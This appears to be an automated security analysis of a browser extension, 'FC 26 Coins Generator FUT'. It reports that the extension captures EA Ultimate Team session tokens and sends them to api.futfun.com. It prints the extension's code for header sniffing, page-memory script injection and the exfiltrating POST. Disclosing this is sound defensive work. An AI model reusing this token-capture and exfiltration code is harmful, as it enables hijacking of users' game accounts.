Is FC 26 Coins Generator FUT safe?
FC 26 Coins Generator FUT captures your EA Ultimate Team session token and sends it to api.futfun.com.
The extension watches EA Ultimate Team web requests, reads the X-UT-SID session header, and stores it with the active persona ID. Its popup login and automated coin-generation flow then send that session token to api.futfun.com as the password field for backend authentication.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
EA Ultimate Team session token sent as futfun password
Using FC 26 Coins Generator FUT with EA's Ultimate Team app, the extension reads `X-UT-SID` from EA traffic as the session token.
Login submits it to `api.futfun.com/main_authentication_token` as the password, with a persona-derived email.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You open the EA Ultimate Team web app and use the extension's Generate Coins login flow.
The EA page must first issue Ultimate Team requests that include an `X-UT-SID` header.
The extension stores the EA session header and submits it to futfun as the login password value.
The same service worker path can also submit the stored persona and token when the backend account has an active trade request.
- EA session tokenX-UT-SID: 7f4b2b01-9d6a-4b0c-8aa6-f2d6e57b1429 (illustrative)
This authenticates your EA Ultimate Team session. Sending it elsewhere gives that service the same session access read from your traffic.
- Persona-derived futfun email123456789456@futfun.com (illustrative)
This links the submitted token to your EA persona identifier inside the futfun login flow.
- Backend password fieldpassword = X-UT-SID value (illustrative)
The session token is placed where a login password normally goes, so the receiving service gets it as a credential-like value.
- Content-Type
- application/json
Service worker captures the EA session header and can post it to futfun
background.js ships in readable form: POST helper
background.jsfunction callGenerateCoins(email, password) { const requestOptions = { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({email, password}) }; windowAlert('callGenerateCoins' + password); return fetch(`https://api.futfun.com/main_authentication_token`, requestOptions) .then(user => { chrome.storage.local.set({ "token": user.token, "user": user.uuid, "accountId": user.accountId }); return user; });}background.js ships in readable form: SID extraction
background.jsfunction updateCurrentSid(details) { let find = details.requestHeaders.find(function (element) { return element['name'] === 'X-UT-SID'; }); if (!find) { return {requestHeaders: details.requestHeaders}; } if (updateCurrentSidRunning === true) { return ; } updateCurrentSidRunning = true; const currentSid = find.value; windowAlert('Current sid' + currentSid); chrome.storage.local.get(["sid", "persona"], ({sid, persona}) => { windowAlert('Last sid' + currentSid); if (sid === currentSid) { callGetAccount(false); return; } chrome.storage.local.set({ "sid": currentSid, "sid_tt": Math.floor(Date.now() / 1000) }); callGetAccount(true); chrome.runtime.sendMessage({ type: 'sid_updated' }); }); updateCurrentSidRunning = false;}background.js ships in readable form: persona extraction
background.jsfunction updateCurrentPersona(details) { const persona = details.url.indexOf('nucPersId') !== -1 ? getParameterByName('nucPersId', details.url) + '456@futfun.com' : null; if (!persona) { return; } chrome.storage.local.set({ "persona": persona }); chrome.runtime.sendMessage({ type: 'persona_updated' });}background.js ships in readable form: request-header listener
background.jschrome.webRequest.onBeforeSendHeaders.addListener( function (details) { updateCurrentPersona(details); updateCurrentSid(details); return {requestHeaders: details.requestHeaders}; }, { urls: [ "*://utas.mob.v5.fut.ea.com/*", "*://utas.mob.v4.fut.ea.com/*", "*://utas.mob.v3.fut.ea.com/*", "*://utas.mob.v2.fut.ea.com/*", "*://utas.mob.v1.fut.ea.com/*", "*://utas.external.s5.fut.ea.com/*", "*://utas.external.s4.fut.ea.com/*", "*://utas.external.s2.fut.ea.com/*", "*://utas.external.s1.fut.ea.com/*", "*://utas.external.s3.fut.ea.com/*", "*://utas.mob.v1.prd.futc-ext.gcp.ea.com/*", "*://utas.mob.v2.prd.futc-ext.gcp.ea.com/*", "*://utas.mob.v3.prd.futc-ext.gcp.ea.com/*", "*://utas.mob.v4.prd.futc-ext.gcp.ea.com/*", "*://utas.mob.v5.prd.futc-ext.gcp.ea.com/*" ] }, ["requestHeaders"]);Popup login passes the stored EA token into the futfun password field
Source map: ExtensionLoginPage.handleLogin
components/ExtensionLoginPage.jsxhandleLogin(e) { this.setState({ loading: true }); const {dispatch} = this.props; chrome.storage.local.get(["sid", "persona", "accountId"], async ({sid, persona, accountId}) => { await dispatch(userActions.login(persona, sid)); if (accountId) { setTimeout(async () => { await dispatch(retrieveAccount('/accounts/' + accountId + '?_' + Math.random())); }, 500); } }); }Source map: userActions.login
actions/user.actions.jsfunction login(username, password) { return dispatch => { dispatch(request({ username })); userService.login(username, password) .then( user => { dispatch(success(user)); history.push('/auth'); }, error => { dispatch(failure(error)); dispatch(alertActions.error(error)); } ); }; function request(user) { return { type: userConstants.LOGIN_REQUEST, user } } function success(user) { return { type: userConstants.LOGIN_SUCCESS, user } } function failure(error) { return { type: userConstants.LOGIN_FAILURE, error } }}Source map: userService.login
services/user.service.jsfunction login(email, password) { // localStorage.clear(); const requestOptions = { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email, password }) }; return fetch(`${process.env.REACT_APP_API_ENTRYPOINT}/main_authentication_token`, requestOptions) .then(handleResponse) .then(user => { chrome.storage.local.set({ "token": user.token, "user": user.uuid, "accountId": user.accountId }); return user; });}- api.futfun.com
Receives the extension's authentication POST containing the persona value and EA session token as the login password value.
- futfun.com
Referenced by the extension UI as the service behind the Generate Coins workflow.
Extension reads your live EA session from the page and logs into futfun with it
Opening the extension's popup while an EA Ultimate Team tab is open makes it read your live EA session id from the page and POST it to api.futfun.com as a login password.
Confirmed with a planted session marker.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You open the extension's popup while an EA Ultimate Team web app tab is open and logged in.
No EA network request needs to happen first; the tab just needs to be the active tab.
The extension injects a script into that page to read your live EA session id directly out of the page's memory.
It then submits that session id to futfun.com as if it were a login password.
- EA session IDb7f0c9d4-3a61-4e52-9c88-1d6f8a204e6a (illustrative)
Authenticates your live EA Ultimate Team session. It is pulled directly out of the page's memory, not from network traffic.
- Persona-derived futfun email1000123456789456@futfun.com (illustrative)
Built from your EA persona id, this links the submitted session to a login identity inside futfun's system.
- Backend password fieldpassword = EA session ID value
Your EA session id is placed where a login password normally goes, so futfun's backend receives it as a credential.
200 OK with an auth token and account id, which the extension then used to poll /accounts and /trades, i.e. the backend accepted the extracted session as a valid login credential.
- Content-Type
- application/json
{ "email": "1000123456789456@futfun.com", "password": "<planted marker>"}Extension reads the EA session straight out of page memory
Same functions, reformatted for readability
assets/index.html-DvjidIOG.jsasync function O3() { const l = await fg(); return l === void 0 ? null : N3(await j3(l))}function N3(l) { const n = l == null ? void 0 : l.sid, u = l == null ? void 0 : l.nucPersId; return typeof n != "string" || n === "" || u == null || String(u) === "" ? null : { sid: n, persona: Ib(String(u)) }}async function w3() { const l = await O3(); return l ? (await Mf({ sid: l.sid, persona: l.persona, sid_tt: Math.floor(Date.now() / 1e3) }), l) : null}async function j3(l) { try { const [n] = await chrome.scripting.executeScript({ target: { tabId: l }, world: "MAIN", func: () => { var r, c, f; const u = (c = (r = window.services) == null ? void 0 : r.Authentication) == null ? void 0 : c.utasSession; return { sid: u == null ? void 0 : u.id, nucPersId: (f = u == null ? void 0 : u.user) == null ? void 0 : f.selectedPersona } } }); return (n == null ? void 0 : n.result) ?? null } catch { return null }}Stored session is forwarded to futfun as a login credential
Same functions, reformatted for readability
assets/index.html-DvjidIOG.jsfunction C3() { const l = ee.c(2), n = ps(); let u; return l[0] !== n ? (u = { mutationFn: D3, onSuccess: async r => { await Xn.getState().setSession(r), n.setQueriesData({ queryKey: ["account"] }, R3), window.setTimeout(() => { n.invalidateQueries({ queryKey: ["account"] }) }, M3) } }, l[0] = n, l[1] = u) : u = l[1], Sv(u)}function R3(l) { return l && { ...l, tradeIsRequested: !0 }}async function D3() { const { sid: l, persona: n } = await vs(["sid", "persona"]); if (!l || !n) throw new Error("EA session is not captured yet."); return z3({ email: n, password: l })}Same functions, reformatted for readability
assets/index.html-DvjidIOG.jsasync function z3(l) { const n = await fetch(`${rg}/main_authentication_token`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(l) }), u = await n.text(), r = u ? JSON.parse(u) : void 0; if (!n.ok) { n.status === 401 && await Cf(["user", "token"]); const c = (typeof r == "object" && r !== null && "message" in r ? String(r.message) : void 0) ?? n.statusText ?? "An error occurred."; throw new hs(n.status, c) } return _3.parse(r)}- api.futfun.com
Receives the EA session id and persona-derived email as a login POST, then returns an auth token this extension uses for its trading features.
- futfun.com
The Generate Coins service this extension is a client for; api.futfun.com is its backend.
Where it sends data
Destinations our analysis observed FC 26 Coins Generator FUT contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- api.futfun.com
FC 26 Coins Generator FUT sends data to api.futfun.com. No other extension we have analysed sends data here.